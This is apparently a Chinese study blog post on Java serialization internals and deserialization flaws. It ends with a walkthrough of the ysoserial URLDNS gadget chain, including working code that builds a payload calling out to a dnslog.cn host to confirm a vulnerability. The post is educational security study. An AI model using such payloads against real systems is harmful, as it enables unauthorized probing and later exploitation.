Java反序列化

smofengjing

也是初探Java安全

前言

各种语言有很多漏洞都是反序列化造成的。

序列化与反序列化
Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。

为什么需要序列化与反序列化

我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。

当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。

  1. 想把内存中的对象保存到一个文件中或者数据库中时候;
  2. 想用套接字在网络上传送对象的时候;
  3. 想通过RMI传输对象的时候

几种常见的序列化和反序列化协议

XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点,SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于 XML 为序列化和反序列化协议的结构化消息传递协议

  • XML&SOAP
  • JSON(Javascript Object Notation)
  • Protobuf

各种反序列化漏洞对比

主要是看p神的文章学习的,自己对于各种反序列化认识也并不深入,重在学习。

其实大部分PHP反序列化漏洞,都并不是由反序列化导致的,只是通过反序列化可以 控制对象的属性,进而在后续的代码中进行危险操作。

python反序列化还没了解过,以后再去了解。

Java反序列化

序列化在 Java 中是通过 java.io.Serializable 接口来实现的,该接口没有任何方法,只是一个标记接口,用于标识类可以被序列化。

当你序列化对象时,你把它包装成一个特殊文件,可以保存、传输或存储。反序列化则是打开这个文件,读取序列化的数据,然后将其还原为对象,以便在程序中使用。

序列化是一种用于保存、传输和还原对象的方法,它使得对象可以在不同的计算机之间移动和共享,这对于分布式系统、数据存储和跨平台通信非常有用。

实现 Serializable 接口: 要使一个类可序列化,需要让该类实现 java.io.Serializable 接口,这告诉 Java 编译器这个类可以被序列化

1
2
3
4
5
import java.io.Serializable;

public class MyClass implements Serializable {
    // 类的成员和方法
}

Externalizable 接口
Serializable 接口内部序列化是 JVM 自动实现的,如果我们想自定义序列化过程,就可以使用以上这个接口来实现,它内部提供两个接口方法:

1
2
3
4
5
6
public interface Externalizable extends Serializable {
//将要序列化的对象属性通过 var1.wrietXxx() 写入到序列化流中
void writeExternal(ObjectOutput var1) throws IOException;
//将要反序列化的对象属性通过 var1.readXxx() 读出来
void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException;
}

序列化ID

有些时候在进行序列化时,加了一个serialVersionUID字段,这便是序列化ID

1
private static final long serialVersionUID = 1L;

这个序列化ID起着关键的作用,它决定着是否能够成功反序列化!java的序列化机制是通过判断运行时类的serialVersionUID来验证版本一致性的,在进行反序列化时,JVM会把传进来的字节流中的serialVersionUID与本地实体类中的serialVersionUID进行比较,如果相同则认为是一致的,便可以进行反序列化,否则就会报序列化版本不一致的异常。

即序列化ID是为了保证成功进行反序列化

如何生成这个 serialVersionUID呢?

使用 AS plugin 插件就可以生成
在JDK中,可以利用 JDK 的 bin 目录下的 serialver 工具产生这个serialVersionUID,对于 Student.class,执行命令:serialver com.example.seriable.Student

serialVersionUID 发生改变有三种情况:

手动去修改导致当前的 serialVersionUID 与序列化前的不一样。
我们根本就没有手动去写这个 serialVersionUID 常量,那么 JVM 内部会根据类结构去计算得到这个 serialVersionUID 值,在类结构发生改变时(属性增加,删除或者类型修改了)这种也是会导致 serialVersionUID 发生变化。
假如类结构没有发生改变,并且没有定义 serialVersionUID ,但是反序列和序列化操作的虚拟机不一样也可能导致计算出来的 serialVersionUID 不一样。
JVM 规范强烈建议我们手动声明一个版本号,这个数字可以是随机的,只要固定不变就可以。同时最好是 private 和 final 的,尽量保证不变。

默认的序列化ID

当我们一个实体类中没有显式的定义一个名为“serialVersionUID”、类型为long的变量时,Java序列化机制会根据编译时的class自动生成一个serialVersionUID作为序列化版本比较,这种情况下,只有同一次编译生成的class才会生成相同的serialVersionUID。譬如,当我们编写一个类时,随着时间的推移,我们因为需求改动,需要在本地类中添加其他的字段,这个时候再反序列化时便会出现serialVersionUID不一致,导致反序列化失败。那么如何解决呢?便是在本地类中添加一个“serialVersionUID”变量,值保持不变,便可以进行序列化和反序列化。

如果没有显示指定serialVersionUID,会自动生成一个。

只有同一次编译生成的class才会生成相同的serialVersionUID

但是如果出现需求变动,Bean类发生改变,则会导致反序列化失败。为了不出现这类的问题,所以我们最好还是显式的指定一个serialVersionUID。

序列化实现

序列化对象: 使用 ObjectOutputStream 类来将对象序列化为字节流

反序列化对象: 使用 ObjectInputStream 类来从字节流中反序列化对象

使用 readObject 和 writeObject 的 Java 自定义序列化

要自定义序列化和反序列化,请在此类中定义 readObject()writeObject() 方法。

  • writeObject()方法中,使用ObjectOutputStream提供的writeXXX方法写入类属性。
  • readObject()方法中,使用ObjectInputStream提供的readXXX方法读取类属性。
  • 请注意,类属性在读取和写入方法中的顺序必须相同

writeObject 方法的实现涉及了类元数据的写入、字段的序列化、自定义序列化方法的调用以及对象引用的处理,保证了对象在序列化过程中的完整性和正确性。

writeObject 原理分析

ObjectOutputStream 构造函数

image-20240226121324928

  • bout:用于写入一些类元数据还有对象中基本数据类型的值。
  • enableOverridefalse 表示不支持重写序列化过程,如果为 true ,那么需要重写 writeObjectOverride 方法。
  • writeStreamHeader() 写入头信息

ObjectOutputStream#writeStreamHeader()

image-20240226163806472

It writes the magic number and version to the stream.

  • STREAM_MAGIC 声明使用了序列化协议,bout 就是一个流,将对应的头数据写入该流中
  • STREAM_VERSION 指定序列化协议版本

ObjectOUtStream#writeObject(obj)

image-20240226164502601

接着看ObjectOutStream#writeObject0()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
/**
* Underlying writeObject/writeUnshared implementation.
*/
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
boolean oldMode = bout.setBlockDataMode(false);
depth++;
try {
// handle previously written and non-replaceable objects
int h;
if ((obj = subs.lookup(obj)) == null) {
writeNull();
return;
} else if (!unshared && (h = handles.lookup(obj)) != -1) {
writeHandle(h);
return;
} else if (obj instanceof Class) {
writeClass((Class) obj, unshared);
return;
} else if (obj instanceof ObjectStreamClass) {
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}

// check for replacement object
Object orig = obj;
Class<?> cl = obj.getClass();
ObjectStreamClass desc;
for (;;) {
// REMIND: skip this check for strings/arrays?
Class<?> repCl;
desc = ObjectStreamClass.lookup(cl, true);
if (!desc.hasWriteReplaceMethod() ||
(obj = desc.invokeWriteReplace(obj)) == null ||
(repCl = obj.getClass()) == cl)
{
break;
}
cl = repCl;
}
if (enableReplace) {
Object rep = replaceObject(obj);
if (rep != obj && rep != null) {
cl = rep.getClass();
desc = ObjectStreamClass.lookup(cl, true);
}
obj = rep;
}

// if object replaced, run through original checks a second time
if (obj != orig) {
subs.assign(orig, obj);
if (obj == null) {
writeNull();
return;
} else if (!unshared && (h = handles.lookup(obj)) != -1) {
writeHandle(h);
return;
} else if (obj instanceof Class) {
writeClass((Class) obj, unshared);
return;
} else if (obj instanceof ObjectStreamClass) {
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}
}

// remaining cases
if (obj instanceof String) {
writeString((String) obj, unshared);
} else if (cl.isArray()) {
writeArray(obj, desc, unshared);
} else if (obj instanceof Enum) {
writeEnum((Enum<?>) obj, desc, unshared);
} else if (obj instanceof Serializable) {
writeOrdinaryObject(obj, desc, unshared);
} else {
if (extendedDebugInfo) {
throw new NotSerializableException(
cl.getName() + "\n" + debugInfoStack.toString());
} else {
throw new NotSerializableException(cl.getName());
}
}
} finally {
depth--;
bout.setBlockDataMode(oldMode);
}
}

lookup 函数用于查找当前类的 ObjectStreamClass ,它是用于描述一个类的结构信息的,通过它就可以获取对象及其对象属性的相关信息,并且它内部持有该对象的父类的 ObjectStreamClass 实例。

ObjectStreamClass的类里面的构造函数

image-20240226170707144

superDesc 表示需要序列化对象的父类的 ObjectStreamClass,如果为空,则调用 lookUp 查找

ObjectOutputStream#writeOrdinaryObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void writeOrdinaryObject(Object obj,
ObjectStreamClass desc,
boolean unshared)
throws IOException
{
if (extendedDebugInfo) {
debugInfoStack.push(
(depth == 1 ? "root " : "") + "object (class \"" +
obj.getClass().getName() + "\", " + obj.toString() + ")");
}
try {
desc.checkSerialize();

bout.writeByte(TC_OBJECT);
writeClassDesc(desc, false);
handles.assign(unshared ? null : obj);
if (desc.isExternalizable() && !desc.isProxy()) {
writeExternalData((Externalizable) obj);
} else {
writeSerialData(obj, desc);
}
} finally {
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}
}
  • 写入类的元数据,TC_OBJECT. 声明这是一个新的对象,如果写入的是一个 String 类型的数据,那么就需要 TC_STRING 这个标识。

  • writeClassDesc 方法主要作用就是自上而下(从父类写到子类,注意只会遍历那些实现了序列化接口的类)写入描述信息。该方法内部会不断的递归调用,我们只需要关系这个方法是写入描述信息就好了。

  • 从这里可以知道,序列化过程需要额外的写入很多数据,例如描述信息,类数据等,因此序列化后占用的空间肯定会更大。

  • desc.isExternalizable() 判断需要序列化的对象是否实现了Externalizable接口,在序列化过程就是在这个地方进行判断的。如果有,那么序列化的过程就会由程序员自己控制了哦,writeExternalData 方法会回调,在这里就可以愉快地编写需要序列化的数据。

  • writeSerialData在没有实现Externalizable接口时,就执行这个方法

ObjectOutputstream#writeSerialData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void writeSerialData(Object obj, ObjectStreamClass desc) throws IOException {
// 获取指定ObjectStreamClass的类数据布局
ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();

// 遍历每个类数据槽
for (int i = 0; i < slots.length; i++) {
ObjectStreamClass slotDesc = slots[i].desc;

// 检查该类是否有自定义的writeObject方法
if (slotDesc.hasWriteObjectMethod()) {
// 保存当前PutFieldImpl和SerialCallbackContext的状态
PutFieldImpl oldPut = curPut;
curPut = null;
SerialCallbackContext oldContext = curContext;

// 如果启用了扩展调试信息,则将调试信息推送到堆栈
if (extendedDebugInfo) {
debugInfoStack.push("custom writeObject data (class \"" + slotDesc.getName() + "\")");
}

try {
// 为当前槽创建一个新的SerialCallbackContext
curContext = new SerialCallbackContext(obj, slotDesc);

// 设置块数据模式并调用自定义的writeObject方法
bout.setBlockDataMode(true);
slotDesc.invokeWriteObject(obj, this);
bout.setBlockDataMode(false);

// 写入块数据结束标记
bout.writeByte(TC_ENDBLOCKDATA);
} finally {
// 设置上下文已使用,恢复旧上下文,并在需要时弹出调试信息
curContext.setUsed();
curContext = oldContext;

if (extendedDebugInfo) {
debugInfoStack.pop();
}
}

// 恢复原始的PutFieldImpl
curPut = oldPut;
} else {
// 如果该类没有自定义writeObject方法,则使用defaultWriteFields写入默认字段
defaultWriteFields(obj, slotDesc);
}
}
}

desc.getClassDataLayout 会返回 ObjectStreamClass.ClassDataSlot[]

接着看ClassDataSlot

image-20240226181114824

它是封装了 ObjectStreamClass 而已,所以我们就简单的认为这一步就是用于返回序列化对象及其父类的 ClassDataSlot[] 数组,我们可以从 ClassDataSlot 中获取对应 ObjectStreamClass 描述信息。

defaultWriteFields 这个方法就是 JVM 自动帮我们序列化了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
private void defaultWriteFields(Object obj, ObjectStreamClass desc)
throws IOException
{
Class<?> cl = desc.forClass();
if (cl != null && obj != null && !cl.isInstance(obj)) {
throw new ClassCastException();
}

desc.checkDefaultSerialize();

int primDataSize = desc.getPrimDataSize();
if (primVals == null || primVals.length < primDataSize) {
primVals = new byte[primDataSize];
}
desc.getPrimFieldValues(obj, primVals);
bout.write(primVals, 0, primDataSize, false);

ObjectStreamField[] fields = desc.getFields(false);
Object[] objVals = new Object[desc.getNumObjFields()];
int numPrimFields = fields.length - objVals.length;
desc.getObjFieldValues(obj, objVals);
for (int i = 0; i < objVals.length; i++) {
if (extendedDebugInfo) {
debugInfoStack.push(
"field (class \"" + desc.getName() + "\", name: \"" +
fields[numPrimFields + i].getName() + "\", type: \"" +
fields[numPrimFields + i].getType() + "\")");
}
try {
writeObject0(objVals[i],
fields[numPrimFields + i].isUnshared());
} finally {
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}
}
}

这个方法主要分为以下两步

  • 写入基本数据类型的数据
  • 写入引用数据类型的数据,这里最终又调用到了 writeObject0() 方法

readObject 原理分析

从流中读取类的描述信息 ObjectStreamClass 实例,通过这个对象就可以创建出序列化的对象。

image-20240226183712526

读取该对象及其对象的父类的 ObjectStreamClass信息

image-20240226183621590

然后遍历得到每一个 ObjectStreamClass 对象,将对应的属性值赋值给需要反序列化的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void defaultReadFields(Object obj, ObjectStreamClass desc)
throws IOException
{
Class<?> cl = desc.forClass();
if (cl != null && obj != null && !cl.isInstance(obj)) {
throw new ClassCastException();
}

int primDataSize = desc.getPrimDataSize();
if (primVals == null || primVals.length < primDataSize) {
primVals = new byte[primDataSize];
}
bin.readFully(primVals, 0, primDataSize, false);
if (obj != null) {
desc.setPrimFieldValues(obj, primVals);
}

int objHandle = passHandle;
ObjectStreamField[] fields = desc.getFields(false);
Object[] objVals = new Object[desc.getNumObjFields()];
int numPrimFields = fields.length - objVals.length;
for (int i = 0; i < objVals.length; i++) {
ObjectStreamField f = fields[numPrimFields + i];
objVals[i] = readObject0(Object.class, f.isUnshared());
if (f.getField() != null) {
handles.markDependency(objHandle, passHandle);
}
}
if (obj != null) {
desc.setObjFieldValues(obj, objVals);
}
passHandle = objHandle;
}

看个例子:

Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package Deserialization;

import java.io.IOException;
public class Person implements java.io.Serializable {
public String name;
public int age;
Person(String name, int age) {
this.name = name;
this.age = age;
}
private void writeObject(java.io.ObjectOutputStream s) throws
IOException {
s.defaultWriteObject();
s.writeObject("This is a object");
}
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
s.defaultReadObject();
String message = (String) s.readObject();
System.out.println(message);
}
}

Test类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package Deserialization;

import java.io.*;

public class Test {
public static void main(String[] args) {
// 创建一个Person对象
Person person = new Person("John", 25);

// 序列化对象并输出16进制内容
String hexString = serializePerson(person);
System.out.println("Person object serialized in hexadecimal: " + hexString);

// 反序列化对象
deserializePerson();
}

private static String serializePerson(Person person) {
try (ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteStream)) {
outputStream.writeObject(person);

// 获取字节数组
byte[] byteArray = byteStream.toByteArray();

// 转换为16进制字符串
StringBuilder hexString = new StringBuilder();
for (byte b : byteArray) {
hexString.append(String.format("%02X", b));
}

return hexString.toString();
} catch (IOException e) {
e.printStackTrace();
return "";
}
}

private static void deserializePerson() {
try (ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("person.ser"))) {
// 从文件中读取对象并强制转换为Person类
Person person = (Person) inputStream.readObject();
System.out.println("Person object deserialized. Name: " + person.name + ", Age: " + person.age);

// 删除文件
File file = new File("person.ser");
if (file.delete()) {
System.out.println("File deleted successfully.");
} else {
System.out.println("Failed to delete the file.");
}
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}

image-20240226113124164

在反序列化时,我读取了这个字符串,并将其输出。工具SerializationDumper查看此时生成的aced开头的Java序列化数据

1
java -jar SerializationDumper.jar ACED000573720016446573657269616C697A6174696F6E2E506572736F6E3C0A8F877D2F5B760300024900036167654C00046E616D657400124C6A6176612F6C616E672F537472696E673B7870000000197400044A6F686E740010546869732069732061206F626A65637478

image-20240226112938105

可见,我们写入的字符串 This is a object 被放在 objectAnnotation 的位置。

HashMap自己实现writeObject和readObject方法

再来读读HashMap的源码

image-20240226190204227

首先,HashMap实现了Serializable接口,这意味着该类可以被序列化,而JDK提供的对于Java对象序列化操作的类是ObjectOutputStream,反序列化的类是ObjectInputStream。我们来看下序列化使用的ObjectOutputStream,它提供了不同的方法用来序列化不同类型的对象,比如writeBoolean,wrietInt,writeLong等,对于自定义类型,提供了writeObject方法。 ObjectOutputStream的writeObject方法会调用还是上面的writeSerialData方法:

image-20240226190639352

可以看到,实际上在ObjectOutputStream中进行序列化操作的时候,会判断被序列化的对象是否自己重写了writeObject方法,如果重写了,就会调用被序列化对象自己的writeObject方法,如果没有重写,才会调用默认的序列化方法。

为什么HashMap中的readObject和writeObject都是私有的?

JDK文档中并没有明确说明设置为私有的原因。方法是私有的,那么该方法无法被子类override,这样做有什么好处呢? 如果我实现了一个继承HashMap的类,我也想有自己的序列化和反序列化方法,那我也可以实现私有的readObject和writeObject方法,而不用关心HashMap自己的那一部分。 下面的部分来自StackOverFlow:

We don’t want these methods to be overridden by subclasses. Instead, each class can have its own writeObject method, and the serialization engine will call all of them one after the other. This is only possible with private methods (these are not overridden). (The same is valid for readObject.)

为什么HashMap要自己实现writeObject和readObject方法,而不是使用JDK统一的默认序列化和反序列化操作呢?

首先要明确序列化的目的,将java对象序列化,一定是为了在某个时刻能够将该对象反序列化,而且一般来讲序列化和反序列化所在的机器是不同的,因为序列化最常用的场景就是跨机器的调用,而序列化和反序列化的一个最基本的要求就是,反序列化之后的对象与序列化之前的对象是一致的。

HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。

Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的。

在《Effective Java》中,Joshua大神对此有所解释:

For example, consider the case of a hash table. The physical representation is a sequence of hash buckets containing key-value entries. The bucket that an entry resides in is a function of the hash code of its key, which is not, in general, guaranteed to be the same from JVM implementation to JVM implementation. In fact, it isn’t even guaranteed to be the same from run to run. Therefore, accepting the default serialized form for a hash table would constitute a serious bug. Serializing and deserializing the hash table could yield an object whose invariants were seriously corrupt.

所以为了避免这个问题,HashMap采用了下面的方式来解决:

  • 将可能会造成数据不一致的元素使用transient关键字修饰,从而避免JDK中默认序列化方法对该对象的序列化操作。不序列化的包括:Entry[] table,size,modCount。
  • 自己实现writeObject方法,从而保证序列化和反序列化结果的一致性。

那么,HashMap又是通过什么手段来保证序列化和反序列化数据的一致性的呢? 首先,HashMap序列化的时候不会将保存数据的数组序列化,而是将元素个数以及每个元素的Key和Value都进行序列化。 在反序列化的时候,重新计算Key和Value的位置,重新填充一个数组。 想想看,是不是能够解决序列化和反序列化不一致的情况呢? 由于不序列化存放元素的Entry数组,而是反序列化的时候重新生成,这样就避免了反序列化之后根据Key获取到的元素与序列化之前获取到的元素不同。

工具

ysoserial

Y4er/ysoserial: ysoserial修改版,着重修改ysoserial.payloads.util.Gadgets.createTemplatesImpl使其可以通过引入自定义class的形式来执行命令、内存马、反序列化回显。 (github.com)

frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

URLDNS

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

ysoserial中列出的Gadget:

1
2
3
4
5
*   Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

原理:

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

新建两个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package DnsUrl;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class Dnstest {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://gnoq5d.dnslog.cn");
Class c =URL.class;
Field fieldHashcode = c.getDeclaredField("hashCode");
fieldHashcode.setAccessible(true);
// 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望
// 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接
// 返回,由于在序列化的时候已经进行了hashCode计算,那么在反序列化时hashCode值就不是-1了。就不会走到他真正的handler.hashCode方法里
// 所以在hashmap.put()前 需要修改URL类hashCode值不为-1
fieldHashcode.set(url,1);
hashmap.put(url, 22);
// 反序列化之后还是需要让他发送请求,所以需要改回来
// 这是为了防止我们把put的时候发送的DNS请求误以为是反序列化时的readObject去发的DNS请求
fieldHashcode.set(url,-1);
Serializable(hashmap);
//Unserializable(hashmap);
}

public static void Serializable(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
}

另一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package urldns;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class test {
public static void main(String[] args) throws ClassNotFoundException, IOException {
// 反序列化的类
ObjectInputStream ois = new ObjectInputStream((new FileInputStream("ser.ser")));
// 读出来并反序列化
ois.readObject();
ois.close();
}
}

在这里打个断点

image-20240309185545065

然后步入进入hash方法

image-20240309185628778

接着进入URL类的hashCode方法

image-20240309185656371

可以看到hashCode的值为-1,这表示没有计算过hashCode然后进入URLStreamHandler类的hashCode进行计算

image-20240309185822282

在调用getHostAddress方法时,会进行dns查询。

image-20240309190005117

1
2
3
4
5
6
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

参考:

为什么HashMap要自己实现writeObject和readObject方法? - 掘金 (juejin.cn)

Java反序列化基础篇-01-反序列化概念与利用 - FreeBuf网络安全行业门户

使用 readObject 和 writeObject 的 Java 自定义序列化-村大哥 (cundage.com)

java序列化与反序列化全讲解_序列化和反序列号需要构造无参函数的意义-CSDN博客

Java反序列化 — URLDNS利用链分析 - 先知社区 (aliyun.com)

Java反序列化初探+URLDNS链 - 1vxyz - 博客园 (cnblogs.com)